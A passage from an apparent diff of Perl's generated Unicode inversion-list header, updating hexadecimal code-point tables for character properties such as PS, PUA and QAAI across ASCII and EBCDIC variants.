0x61C, - 0x61E, 0x620, 0x66A, 0x66E, 0x6D4, 0x6D5, + 0x6DD, + 0x6DF, + 0x6E9, + 0x6EA, + 0x6FD, + 0x6FF, 0x700, - 0x70E, - 0x7F7, + 0x710, + 0x74B, + 0x74D, + 0x7B2, + 0x7C0, + 0x7F6, 0x7FA, - 0x830, - 0x83F, - 0x85E, - 0x85F, + 0x7FB, + 0x800, + 0x82E, + 0x840, + 0x85C, + 0x8A0, + 0x8B5, + 0x8B6, + 0x8BE, + 0x8D4, + 0x8E2, + 0x8E3, 0x964, 0x966, 0x970, 0x971, - 0x9FD, - 0x9FE, + 0x984, + 0x985, + 0x98D, + 0x98F, + 0x991, + 0x993, + 0x9A9, + 0x9AA, + 0x9B1, + 0x9B2, + 0x9B3, + 0x9B6, + 0x9BA, + 0x9BC, + 0x9C5, + 0x9C7, + 0x9C9, + 0x9CB, + 0x9CF, + 0x9D7, + 0x9D8, + 0x9DC, + 0x9DE, + 0x9DF, + 0x9E4, + 0x9E6, + 0x9F2, + 0xA01, + 0xA04, + 0xA05, + 0xA0B, + 0xA0F, + 0xA11, + 0xA13, + 0xA29, + 0xA2A, + 0xA31, + 0xA32, + 0xA34, + 0xA35, + 0xA37, + 0xA38, + 0xA3A, + 0xA3C, + 0xA3D, + 0xA3E, + 0xA43, + 0xA47, + 0xA49, + 0xA4B, + 0xA4E, + 0xA51, + 0xA52, + 0xA59, + 0xA5D, + 0xA5E, + 0xA5F, + 0xA66, + 0xA76, + 0xA81, + 0xA84, + 0xA85, + 0xA8E, + 0xA8F, + 0xA92, + 0xA93, + 0xAA9, + 0xAAA, + 0xAB1, + 0xAB2, + 0xAB4, + 0xAB5, + 0xABA, + 0xABC, + 0xAC6, + 0xAC7, + 0xACA, + 0xACB, + 0xACE, + 0xAD0, + 0xAD1, + 0xAE0, + 0xAE4, + 0xAE6, 0xAF0, - 0xAF1, + 0xAF9, + 0xAFA, + 0xB01, + 0xB04, + 0xB05, + 0xB0D, + 0xB0F, + 0xB11, + 0xB13, + 0xB29, + 0xB2A, + 0xB31, + 0xB32, + 0xB34, + 0xB35, + 0xB3A, + 0xB3C, + 0xB45, + 0xB47, + 0xB49, + 0xB4B, + 0xB4E, + 0xB56, + 0xB58, + 0xB5C, + 0xB5E, + 0xB5F, + 0xB64, + 0xB66, + 0xB70, + 0xB71, + 0xB72, + 0xB82, + 0xB84, + 0xB85, + 0xB8B, + 0xB8E, + 0xB91, + 0xB92, + 0xB96, + 0xB99, + 0xB9B, + 0xB9C, + 0xB9D, + 0xB9E, + 0xBA0, + 0xBA3, + 0xBA5, + 0xBA8, + 0xBAB, + 0xBAE, + 0xBBA, + 0xBBE, + 0xBC3, + 0xBC6, + 0xBC9, + 0xBCA, + 0xBCE, + 0xBD0, + 0xBD1, + 0xBD7, + 0xBD8, + 0xBE6, + 0xBF0, + 0xC00, + 0xC04, + 0xC05, + 0xC0D, + 0xC0E, + 0xC11, + 0xC12, + 0xC29, + 0xC2A, + 0xC3A, + 0xC3D, + 0xC45, + 0xC46, + 0xC49, + 0xC4A, + 0xC4E, + 0xC55, + 0xC57, + 0xC58, + 0xC5B, + 0xC60, + 0xC64, + 0xC66, + 0xC70, + 0xC80, + 0xC84, + 0xC85, + 0xC8D, + 0xC8E, + 0xC91, + 0xC92, + 0xCA9, + 0xCAA, + 0xCB4, + 0xCB5, + 0xCBA, + 0xCBC, + 0xCC5, + 0xCC6, + 0xCC9, + 0xCCA, + 0xCCE, + 0xCD5, + 0xCD7, + 0xCDE, + 0xCDF, + 0xCE0, + 0xCE4, + 0xCE6, + 0xCF0, + 0xCF1, + 0xCF3, + 0xD01, + 0xD04, + 0xD05, + 0xD0D, + 0xD0E, + 0xD11, + 0xD12, + 0xD3B, + 0xD3D, + 0xD45, + 0xD46, + 0xD49, + 0xD4A, + 0xD4F, + 0xD54, + 0xD58, + 0xD5F, + 0xD64, + 0xD66, + 0xD70, + 0xD7A, + 0xD80, + 0xD82, + 0xD84, + 0xD85, + 0xD97, + 0xD9A, + 0xDB2, + 0xDB3, + 0xDBC, + 0xDBD, + 0xDBE, + 0xDC0, + 0xDC7, + 0xDCA, + 0xDCB, + 0xDCF, + 0xDD5, + 0xDD6, + 0xDD7, + 0xDD8, + 0xDE0, + 0xDE6, + 0xDF0, + 0xDF2, 0xDF4, - 0xDF5, + 0xE01, + 0xE3B, + 0xE40, 0xE4F, 0xE50, 0xE5A, - 0xE5C, - 0xF04, - 0xF13, - 0xF14, - 0xF15, + 0xE81, + 0xE83, + 0xE84, + 0xE85, + 0xE87, + 0xE89, + 0xE8A, + 0xE8B, + 0xE8D, + 0xE8E, + 0xE94, + 0xE98, + 0xE99, + 0xEA0, + 0xEA1, + 0xEA4, + 0xEA5, + 0xEA6, + 0xEA7, + 0xEA8, + 0xEAA, + 0xEAC, + 0xEAD, + 0xEBA, + 0xEBB, + 0xEBE, + 0xEC0, + 0xEC5, + 0xEC6, + 0xEC7, + 0xEC8, + 0xECE, + 0xED0, + 0xEDA, + 0xEDC, + 0xEE0, + 0xF00, + 0xF01, + 0xF18, + 0xF1A, + 0xF20, + 0xF2A, + 0xF35, + 0xF36, + 0xF37, + 0xF38, + 0xF39, + 0xF3A, + 0xF3E, + 0xF48, + 0xF49, + 0xF6D, + 0xF71, 0xF85, 0xF86, - 0xFD0, - 0xFD5, - 0xFD9, - 0xFDB, + 0xF98, + 0xF99, + 0xFBD, + 0xFC6, + 0xFC7, + 0x1000, 0x104A, 0x1050, + 0x109E, + 0x10A0, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, + 0x10D0, 0x10FB, 0x10FC, + 0x1249, + 0x124A, + 0x124E, + 0x1250, + 0x1257, + 0x1258, + 0x1259, + 0x125A, + 0x125E, + 0x1260, + 0x1289, + 0x128A, + 0x128E, + 0x1290, + 0x12B1, + 0x12B2, + 0x12B6, + 0x12B8, + 0x12BF, + 0x12C0, + 0x12C1, + 0x12C2, + 0x12C6, + 0x12C8, + 0x12D7, + 0x12D8, + 0x1311, + 0x1312, + 0x1316, + 0x1318, + 0x135B, + 0x135D, 0x1360, - 0x1369, + 0x1380, + 0x1390, + 0x13A0, + 0x13F6, + 0x13F8, + 0x13FE, + 0x1401, 0x166D, 0x166F, + 0x1680, + 0x1681, + 0x169B, + 0x16A0, 0x16EB, 0x16EE, + 0x16F9, + 0x1700, + 0x170D, + 0x170E, + 0x1715, + 0x1720, 0x1735, - 0x1737, + 0x1740, + 0x1754, + 0x1760, + 0x176D, + 0x176E, + 0x1771, + 0x1772, + 0x1774, + 0x1780, 0x17D4, 0x17D7, 0x17D8, - 0x17DB, - 0x1800, - 0x1806, - 0x1807, + 0x17DC, + 0x17DE, + 0x17E0, + 0x17EA, 0x180B, - 0x1944, + 0x180E, + 0x1810, + 0x181A, + 0x1820, + 0x1878, + 0x1880, + 0x18AB, + 0x18B0, + 0x18F6, + 0x1900, + 0x191F, + 0x1920, + 0x192C, + 0x1930, + 0x193C, 0x1946, - 0x1A1E, + 0x196E, + 0x1970, + 0x1975, + 0x1980, + 0x19AC, + 0x19B0, + 0x19CA, + 0x19D0, + 0x19DA, + 0x1A00, + 0x1A1C, 0x1A20, - 0x1AA0, + 0x1A5F, + 0x1A60, + 0x1A7D, + 0x1A7F, + 0x1A8A, + 0x1A90, + 0x1A9A, 0x1AA7, 0x1AA8, - 0x1AAE, + 0x1AB0, + 0x1ABE, + 0x1B00, + 0x1B4C, + 0x1B50, 0x1B5A, - 0x1B61, - 0x1BFC, + 0x1B6B, + 0x1B74, + 0x1B80, + 0x1BF4, 0x1C00, - 0x1C3B, + 0x1C38, 0x1C40, + 0x1C4A, + 0x1C4D, 0x1C7E, 0x1C80, - 0x1CC0, - 0x1CC8, + 0x1C89, + 0x1CD0, 0x1CD3, 0x1CD4, - 0x2016, - 0x2018, - 0x2020, - 0x2028, - 0x2030, - 0x2039, - 0x203B, + 0x1CF7, + 0x1CF8, + 0x1CFA, + 0x1D00, + 0x1DF6, + 0x1DFB, + 0x1F16, + 0x1F18, + 0x1F1E, + 0x1F20, + 0x1F46, + 0x1F48, + 0x1F4E, + 0x1F50, + 0x1F58, + 0x1F59, + 0x1F5A, + 0x1F5B, + 0x1F5C, + 0x1F5D, + 0x1F5E, + 0x1F5F, + 0x1F7E, + 0x1F80, + 0x1FB5, + 0x1FB6, + 0x1FBD, + 0x1FBE, + 0x1FBF, + 0x1FC2, + 0x1FC5, + 0x1FC6, + 0x1FCD, + 0x1FD0, + 0x1FD4, + 0x1FD6, + 0x1FDC, + 0x1FE0, + 0x1FED, + 0x1FF2, + 0x1FF5, + 0x1FF6, + 0x1FFD, 0x203F, 0x2041, - 0x2044, - 0x2047, - 0x2052, - 0x2053, 0x2054, 0x2055, - 0x205F, - 0x2CF9, - 0x2CFD, - 0x2CFE, + 0x2071, + 0x2072, + 0x207F, + 0x2080, + 0x2090, + 0x209D, + 0x20D0, + 0x20DD, + 0x20E1, + 0x20E2, + 0x20E5, + 0x20F1, + 0x2102, + 0x2103, + 0x2107, + 0x2108, + 0x210A, + 0x2114, + 0x2115, + 0x2116, + 0x2119, + 0x211E, + 0x2124, + 0x2125, + 0x2126, + 0x2127, + 0x2128, + 0x2129, + 0x212A, + 0x212E, + 0x212F, + 0x213A, + 0x213C, + 0x2140, + 0x2145, + 0x214A, + 0x214E, + 0x214F, + 0x2160, + 0x2189, + 0x2C00, + 0x2C2F, + 0x2C30, + 0x2C5F, + 0x2C60, + 0x2CE5, + 0x2CEB, + 0x2CF4, 0x2D00, + 0x2D26, + 0x2D27, + 0x2D28, + 0x2D2D, + 0x2D2E, + 0x2D30, + 0x2D68, + 0x2D6F, 0x2D70, - 0x2D71, + 0x2D7F, + 0x2D97, + 0x2DA0, + 0x2DA7, + 0x2DA8, + 0x2DAF, + 0x2DB0, + 0x2DB7, + 0x2DB8, + 0x2DBF, + 0x2DC0, + 0x2DC7, + 0x2DC8, + 0x2DCF, + 0x2DD0, + 0x2DD7, + 0x2DD8, + 0x2DDF, + 0x2DE0, 0x2E00, - 0x2E02, - 0x2E06, - 0x2E09, - 0x2E0B, - 0x2E0C, - 0x2E0E, - 0x2E17, - 0x2E18, - 0x2E1A, - 0x2E1B, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E2A, - 0x2E2F, - 0x2E30, - 0x2E3A, - 0x2E3C, - 0x2E40, - 0x2E41, - 0x2E42, - 0x2E43, - 0x2E4A, - 0x3001, - 0x3004, + 0x3005, + 0x3008, + 0x3021, + 0x3030, + 0x3031, + 0x3036, + 0x3038, 0x303D, - 0x303E, + 0x3041, + 0x3097, + 0x3099, + 0x309B, + 0x309D, + 0x30A0, + 0x30A1, 0x30FB, 0x30FC, + 0x3100, + 0x3105, + 0x312E, + 0x3131, + 0x318F, + 0x31A0, + 0x31BB, + 0x31F0, + 0x3200, + 0x3400, + 0x4DB6, + 0x4E00, + 0x9FD6, + 0xA000, + 0xA48D, + 0xA4D0, 0xA4FE, 0xA500, 0xA60D, 0xA610, - 0xA673, + 0xA62C, + 0xA640, + 0xA670, 0xA674, 0xA67E, 0xA67F, 0xA6F2, - 0xA6F8, + 0xA717, + 0xA720, + 0xA722, + 0xA789, + 0xA78B, + 0xA7AF, + 0xA7B0, + 0xA7B8, + 0xA7F7, + 0xA828, + 0xA840, 0xA874, - 0xA878, - 0xA8CE, + 0xA880, + 0xA8C6, 0xA8D0, + 0xA8DA, + 0xA8E0, 0xA8F8, 0xA8FB, 0xA8FC, 0xA8FD, + 0xA8FE, + 0xA900, 0xA92E, 0xA930, - 0xA95F, + 0xA954, 0xA960, + 0xA97D, + 0xA980, 0xA9C1, - 0xA9CE, - 0xA9DE, + 0xA9CF, + 0xA9DA, 0xA9E0, - 0xAA5C, + 0xA9FF, + 0xAA00, + 0xAA37, + 0xAA40, + 0xAA4E, + 0xAA50, + 0xAA5A, 0xAA60, + 0xAA77, + 0xAA7A, + 0xAAC3, + 0xAADB, 0xAADE, 0xAAE0, 0xAAF0, 0xAAF2, + 0xAAF7, + 0xAB01, + 0xAB07, + 0xAB09, + 0xAB0F, + 0xAB11, + 0xAB17, + 0xAB20, + 0xAB27, + 0xAB28, + 0xAB2F, + 0xAB30, + 0xAB5B, + 0xAB5C, + 0xAB66, + 0xAB70, 0xABEB, 0xABEC, + 0xABEE, + 0xABF0, + 0xABFA, + 0xAC00, + 0xD7A4, + 0xD7B0, + 0xD7C7, + 0xD7CB, + 0xD7FC, + 0xF900, + 0xFA6E, + 0xFA70, + 0xFADA, + 0xFB00, + 0xFB07, + 0xFB13, + 0xFB18, + 0xFB1D, + 0xFB29, + 0xFB2A, + 0xFB37, + 0xFB38, + 0xFB3D, + 0xFB3E, + 0xFB3F, + 0xFB40, + 0xFB42, + 0xFB43, + 0xFB45, + 0xFB46, + 0xFBB2, + 0xFBD3, + 0xFC5E, + 0xFC64, + 0xFD3E, + 0xFD50, + 0xFD90, + 0xFD92, + 0xFDC8, + 0xFDF0, + 0xFDFA, + 0xFE00, 0xFE10, - 0xFE17, - 0xFE19, - 0xFE1A, + 0xFE20, 0xFE30, - 0xFE31, - 0xFE45, - 0xFE47, - 0xFE49, + 0xFE33, + 0xFE35, 0xFE4D, 0xFE50, - 0xFE53, - 0xFE54, - 0xFE58, - 0xFE5F, - 0xFE62, - 0xFE68, - 0xFE69, - 0xFE6A, - 0xFE6C, - 0xFF01, - 0xFF04, - 0xFF05, - 0xFF08, - 0xFF0A, - 0xFF0B, - 0xFF0C, - 0xFF0D, - 0xFF0E, + 0xFE71, + 0xFE72, + 0xFE73, + 0xFE74, + 0xFE77, + 0xFE78, + 0xFE79, + 0xFE7A, + 0xFE7B, + 0xFE7C, + 0xFE7D, + 0xFE7E, + 0xFE7F, + 0xFEFD, 0xFF10, 0xFF1A, - 0xFF1C, - 0xFF1F, 0xFF21, - 0xFF3C, - 0xFF3D, - 0xFF61, - 0xFF62, - 0xFF64, - 0xFF66, - 0x10100, - 0x10103, - 0x1039F, - 0x103A0, - 0x103D0, - 0x103D1, - 0x1056F, - 0x10570, - 0x10857, - 0x10858, - 0x1091F, - 0x10920, - 0x1093F, - 0x10940, - 0x10A50, - 0x10A59, - 0x10A7F, - 0x10A80, - 0x10AF0, - 0x10AF7, - 0x10B39, - 0x10B40, - 0x10B99, - 0x10B9D, - 0x11047, - 0x1104E, - 0x110BB, - 0x110BD, - 0x110BE, - 0x110C2, - 0x11140, - 0x11144, - 0x11174, - 0x11176, - 0x111C5, - 0x111CA, - 0x111CD, - 0x111CE, - 0x111DB, - 0x111DC, - 0x111DD, - 0x111E0, - 0x11238, - 0x1123E, - 0x112A9, - 0x112AA, - 0x1144B, - 0x11450, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x114C6, - 0x114C7, - 0x115C1, - 0x115D8, - 0x11641, - 0x11644, - 0x11660, - 0x1166D, - 0x1173C, - 0x1173F, - 0x11A3F, - 0x11A47, - 0x11A9A, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11C41, - 0x11C46, - 0x11C70, - 0x11C72, - 0x12470, - 0x12475, - 0x16A6E, - 0x16A70, - 0x16AF5, - 0x16AF6, - 0x16B37, - 0x16B3C, - 0x16B44, - 0x16B45, - 0x1BC9F, - 0x1BCA0, - 0x1DA87, - 0x1DA8C, - 0x1E95E, - 0x1E960 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_PRTI_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10B40, - 0x10B56, - 0x10B58, - 0x10B60 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_PS_invlist[] = { /* for ASCII/Latin1 */ - 151, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x28, - 0x29, - 0x5B, - 0x5C, - 0x7B, - 0x7C, - 0xF3A, - 0xF3B, - 0xF3C, - 0xF3D, - 0x169B, - 0x169C, - 0x201A, - 0x201B, - 0x201E, - 0x201F, - 0x2045, - 0x2046, - 0x207D, - 0x207E, - 0x208D, - 0x208E, - 0x2308, - 0x2309, - 0x230A, - 0x230B, - 0x2329, - 0x232A, - 0x2768, - 0x2769, - 0x276A, - 0x276B, - 0x276C, - 0x276D, - 0x276E, - 0x276F, - 0x2770, - 0x2771, - 0x2772, - 0x2773, - 0x2774, - 0x2775, - 0x27C5, - 0x27C6, - 0x27E6, - 0x27E7, - 0x27E8, - 0x27E9, - 0x27EA, - 0x27EB, - 0x27EC, - 0x27ED, - 0x27EE, - 0x27EF, - 0x2983, - 0x2984, - 0x2985, - 0x2986, - 0x2987, - 0x2988, - 0x2989, - 0x298A, - 0x298B, - 0x298C, - 0x298D, - 0x298E, - 0x298F, - 0x2990, - 0x2991, - 0x2992, - 0x2993, - 0x2994, - 0x2995, - 0x2996, - 0x2997, - 0x2998, - 0x29D8, - 0x29D9, - 0x29DA, - 0x29DB, - 0x29FC, - 0x29FD, - 0x2E22, - 0x2E23, - 0x2E24, - 0x2E25, - 0x2E26, - 0x2E27, - 0x2E28, - 0x2E29, - 0x2E42, - 0x2E43, - 0x3008, - 0x3009, - 0x300A, - 0x300B, - 0x300C, - 0x300D, - 0x300E, - 0x300F, - 0x3010, - 0x3011, - 0x3014, - 0x3015, - 0x3016, - 0x3017, - 0x3018, - 0x3019, - 0x301A, - 0x301B, - 0x301D, - 0x301E, - 0xFD3F, - 0xFD40, - 0xFE17, - 0xFE18, - 0xFE35, - 0xFE36, - 0xFE37, - 0xFE38, - 0xFE39, - 0xFE3A, - 0xFE3B, - 0xFE3C, - 0xFE3D, - 0xFE3E, - 0xFE3F, - 0xFE40, - 0xFE41, - 0xFE42, - 0xFE43, - 0xFE44, - 0xFE47, - 0xFE48, - 0xFE59, - 0xFE5A, - 0xFE5B, - 0xFE5C, - 0xFE5D, - 0xFE5E, - 0xFF08, - 0xFF09, - 0xFF3B, - 0xFF3C, - 0xFF5B, - 0xFF5C, - 0xFF5F, - 0xFF60, - 0xFF62, - 0xFF63 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_PS_invlist[] = { /* for EBCDIC 1047 */ - 151, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4D, - 0x4E, - 0xAD, - 0xAE, - 0xC0, - 0xC1, - 0xF3A, - 0xF3B, - 0xF3C, - 0xF3D, - 0x169B, - 0x169C, - 0x201A, - 0x201B, - 0x201E, - 0x201F, - 0x2045, - 0x2046, - 0x207D, - 0x207E, - 0x208D, - 0x208E, - 0x2308, - 0x2309, - 0x230A, - 0x230B, - 0x2329, - 0x232A, - 0x2768, - 0x2769, - 0x276A, - 0x276B, - 0x276C, - 0x276D, - 0x276E, - 0x276F, - 0x2770, - 0x2771, - 0x2772, - 0x2773, - 0x2774, - 0x2775, - 0x27C5, - 0x27C6, - 0x27E6, - 0x27E7, - 0x27E8, - 0x27E9, - 0x27EA, - 0x27EB, - 0x27EC, - 0x27ED, - 0x27EE, - 0x27EF, - 0x2983, - 0x2984, - 0x2985, - 0x2986, - 0x2987, - 0x2988, - 0x2989, - 0x298A, - 0x298B, - 0x298C, - 0x298D, - 0x298E, - 0x298F, - 0x2990, - 0x2991, - 0x2992, - 0x2993, - 0x2994, - 0x2995, - 0x2996, - 0x2997, - 0x2998, - 0x29D8, - 0x29D9, - 0x29DA, - 0x29DB, - 0x29FC, - 0x29FD, - 0x2E22, - 0x2E23, - 0x2E24, - 0x2E25, - 0x2E26, - 0x2E27, - 0x2E28, - 0x2E29, - 0x2E42, - 0x2E43, - 0x3008, - 0x3009, - 0x300A, - 0x300B, - 0x300C, - 0x300D, - 0x300E, - 0x300F, - 0x3010, - 0x3011, - 0x3014, - 0x3015, - 0x3016, - 0x3017, - 0x3018, - 0x3019, - 0x301A, - 0x301B, - 0x301D, - 0x301E, - 0xFD3F, - 0xFD40, - 0xFE17, - 0xFE18, - 0xFE35, - 0xFE36, - 0xFE37, - 0xFE38, - 0xFE39, - 0xFE3A, - 0xFE3B, - 0xFE3C, - 0xFE3D, - 0xFE3E, - 0xFE3F, - 0xFE40, - 0xFE41, - 0xFE42, - 0xFE43, - 0xFE44, - 0xFE47, - 0xFE48, - 0xFE59, - 0xFE5A, - 0xFE5B, - 0xFE5C, - 0xFE5D, - 0xFE5E, - 0xFF08, - 0xFF09, - 0xFF3B, - 0xFF3C, - 0xFF5B, - 0xFF5C, - 0xFF5F, - 0xFF60, - 0xFF62, - 0xFF63 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_PS_invlist[] = { /* for EBCDIC 037 */ - 151, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4D, - 0x4E, - 0xBA, - 0xBB, - 0xC0, - 0xC1, - 0xF3A, - 0xF3B, - 0xF3C, - 0xF3D, - 0x169B, - 0x169C, - 0x201A, - 0x201B, - 0x201E, - 0x201F, - 0x2045, - 0x2046, - 0x207D, - 0x207E, - 0x208D, - 0x208E, - 0x2308, - 0x2309, - 0x230A, - 0x230B, - 0x2329, - 0x232A, - 0x2768, - 0x2769, - 0x276A, - 0x276B, - 0x276C, - 0x276D, - 0x276E, - 0x276F, - 0x2770, - 0x2771, - 0x2772, - 0x2773, - 0x2774, - 0x2775, - 0x27C5, - 0x27C6, - 0x27E6, - 0x27E7, - 0x27E8, - 0x27E9, - 0x27EA, - 0x27EB, - 0x27EC, - 0x27ED, - 0x27EE, - 0x27EF, - 0x2983, - 0x2984, - 0x2985, - 0x2986, - 0x2987, - 0x2988, - 0x2989, - 0x298A, - 0x298B, - 0x298C, - 0x298D, - 0x298E, - 0x298F, - 0x2990, - 0x2991, - 0x2992, - 0x2993, - 0x2994, - 0x2995, - 0x2996, - 0x2997, - 0x2998, - 0x29D8, - 0x29D9, - 0x29DA, - 0x29DB, - 0x29FC, - 0x29FD, - 0x2E22, - 0x2E23, - 0x2E24, - 0x2E25, - 0x2E26, - 0x2E27, - 0x2E28, - 0x2E29, - 0x2E42, - 0x2E43, - 0x3008, - 0x3009, - 0x300A, - 0x300B, - 0x300C, - 0x300D, - 0x300E, - 0x300F, - 0x3010, - 0x3011, - 0x3014, - 0x3015, - 0x3016, - 0x3017, - 0x3018, - 0x3019, - 0x301A, - 0x301B, - 0x301D, - 0x301E, - 0xFD3F, - 0xFD40, - 0xFE17, - 0xFE18, - 0xFE35, - 0xFE36, - 0xFE37, - 0xFE38, - 0xFE39, - 0xFE3A, - 0xFE3B, - 0xFE3C, - 0xFE3D, - 0xFE3E, - 0xFE3F, - 0xFE40, - 0xFE41, - 0xFE42, - 0xFE43, - 0xFE44, - 0xFE47, - 0xFE48, - 0xFE59, - 0xFE5A, - 0xFE5B, - 0xFE5C, - 0xFE5D, - 0xFE5E, - 0xFF08, - 0xFF09, 0xFF3B, - 0xFF3C, + 0xFF3F, + 0xFF40, + 0xFF41, 0xFF5B, - 0xFF5C, - 0xFF5F, - 0xFF60, - 0xFF62, - 0xFF63 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_PUA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xE000, - 0xF900 -}; - -static const UV PL_QAAI_invlist[] = { /* for all charsets */ - 33, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x300, - 0x342, - 0x343, - 0x345, - 0x346, - 0x363, - 0x1AB0, - 0x1ABF, - 0x1DC2, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x200C, - 0x200E, - 0x20D0, - 0x20F0, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE2E, + 0xFF66, + 0xFFBF, + 0xFFC2, + 0xFFC8, + 0xFFCA, + 0xFFD0, + 0xFFD2, + 0xFFD8, + 0xFFDA, + 0xFFDD, + 0x10000, + 0x1000C, + 0x1000D, + 0x10027, + 0x10028, + 0x1003B, + 0x1003C, + 0x1003E, + 0x1003F, + 0x1004E, + 0x10050, + 0x1005E, + 0x10080, + 0x100FB, + 0x10140, + 0x10175, 0x101FD, 0x101FE, - 0x1D167, + 0x10280, + 0x1029D, + 0x102A0, + 0x102D1, + 0x102E0, + 0x102E1, + 0x10300, + 0x10320, + 0x10330, + 0x1034B, + 0x10350, + 0x1037B, + 0x10380, + 0x1039E, + 0x103A0, + 0x103C4, + 0x103C8, + 0x103D0, + 0x103D1, + 0x103D6, + 0x10400, + 0x1049E, + 0x104A0, + 0x104AA, + 0x104B0, + 0x104D4, + 0x104D8, + 0x104FC, + 0x10500, + 0x10528, + 0x10530, + 0x10564, + 0x10600, + 0x10737, + 0x10740, + 0x10756, + 0x10760, + 0x10768, + 0x10800, + 0x10806, + 0x10808, + 0x10809, + 0x1080A, + 0x10836, + 0x10837, + 0x10839, + 0x1083C, + 0x1083D, + 0x1083F, + 0x10856, + 0x10860, + 0x10877, + 0x10880, + 0x1089F, + 0x108E0, + 0x108F3, + 0x108F4, + 0x108F6, + 0x10900, + 0x10916, + 0x10920, + 0x1093A, + 0x10980, + 0x109B8, + 0x109BE, + 0x109C0, + 0x10A00, + 0x10A04, + 0x10A05, + 0x10A07, + 0x10A0C, + 0x10A14, + 0x10A15, + 0x10A18, + 0x10A19, + 0x10A34, + 0x10A38, + 0x10A3B, + 0x10A3F, + 0x10A40, + 0x10A60, + 0x10A7D, + 0x10A80, + 0x10A9D, + 0x10AC0, + 0x10AC8, + 0x10AC9, + 0x10AE7, + 0x10B00, + 0x10B36, + 0x10B40, + 0x10B56, + 0x10B60, + 0x10B73, + 0x10B80, + 0x10B92, + 0x10C00, + 0x10C49, + 0x10C80, + 0x10CB3, + 0x10CC0, + 0x10CF3, + 0x11000, + 0x11047, + 0x11066, + 0x11070, + 0x1107F, + 0x110BB, + 0x110D0, + 0x110E9, + 0x110F0, + 0x110FA, + 0x11100, + 0x11135, + 0x11136, + 0x11140, + 0x11150, + 0x11174, + 0x11176, + 0x11177, + 0x11180, + 0x111C5, + 0x111CA, + 0x111CD, + 0x111D0, + 0x111DB, + 0x111DC, + 0x111DD, + 0x11200, + 0x11212, + 0x11213, + 0x11238, + 0x1123E, + 0x1123F, + 0x11280, + 0x11287, + 0x11288, + 0x11289, + 0x1128A, + 0x1128E, + 0x1128F, + 0x1129E, + 0x1129F, + 0x112A9, + 0x112B0, + 0x112EB, + 0x112F0, + 0x112FA, + 0x11300, + 0x11304, + 0x11305, + 0x1130D, + 0x1130F, + 0x11311, + 0x11313, + 0x11329, + 0x1132A, + 0x11331, + 0x11332, + 0x11334, + 0x11335, + 0x1133A, + 0x1133C, + 0x11345, + 0x11347, + 0x11349, + 0x1134B, + 0x1134E, + 0x11350, + 0x11351, + 0x11357, + 0x11358, + 0x1135D, + 0x11364, + 0x11366, + 0x1136D, + 0x11370, + 0x11375, + 0x11400, + 0x1144B, + 0x11450, + 0x1145A, + 0x11480, + 0x114C6, + 0x114C7, + 0x114C8, + 0x114D0, + 0x114DA, + 0x11580, + 0x115B6, + 0x115B8, + 0x115C1, + 0x115D8, + 0x115DE, + 0x11600, + 0x11641, + 0x11644, + 0x11645, + 0x11650, + 0x1165A, + 0x11680, + 0x116B8, + 0x116C0, + 0x116CA, + 0x11700, + 0x1171A, + 0x1171D, + 0x1172C, + 0x11730, + 0x1173A, + 0x118A0, + 0x118EA, + 0x118FF, + 0x11900, + 0x11AC0, + 0x11AF9, + 0x11C00, + 0x11C09, + 0x11C0A, + 0x11C37, + 0x11C38, + 0x11C41, + 0x11C50, + 0x11C5A, + 0x11C72, + 0x11C90, + 0x11C92, + 0x11CA8, + 0x11CA9, + 0x11CB7, + 0x12000, + 0x1239A, + 0x12400, + 0x1246F, + 0x12480, + 0x12544, + 0x13000, + 0x1342F, + 0x14400, + 0x14647, + 0x16800, + 0x16A39, + 0x16A40, + 0x16A5F, + 0x16A60, + 0x16A6A, + 0x16AD0, + 0x16AEE, + 0x16AF0, + 0x16AF5, + 0x16B00, + 0x16B37, + 0x16B40, + 0x16B44, + 0x16B50, + 0x16B5A, + 0x16B63, + 0x16B78, + 0x16B7D, + 0x16B90, + 0x16F00, + 0x16F45, + 0x16F50, + 0x16F7F, + 0x16F8F, + 0x16FA0, + 0x16FE0, + 0x16FE1, + 0x17000, + 0x187ED, + 0x18800, + 0x18AF3, + 0x1B000, + 0x1B002, + 0x1BC00, + 0x1BC6B, + 0x1BC70, + 0x1BC7D, + 0x1BC80, + 0x1BC89, + 0x1BC90, + 0x1BC9A, + 0x1BC9D, + 0x1BC9F, + 0x1D165, 0x1D16A, + 0x1D16D, + 0x1D173, 0x1D17B, 0x1D183, 0x1D185, 0x1D18C, 0x1D1AA, 0x1D1AE, + 0x1D242, + 0x1D245, + 0x1D400, + 0x1D455, + 0x1D456, + 0x1D49D, + 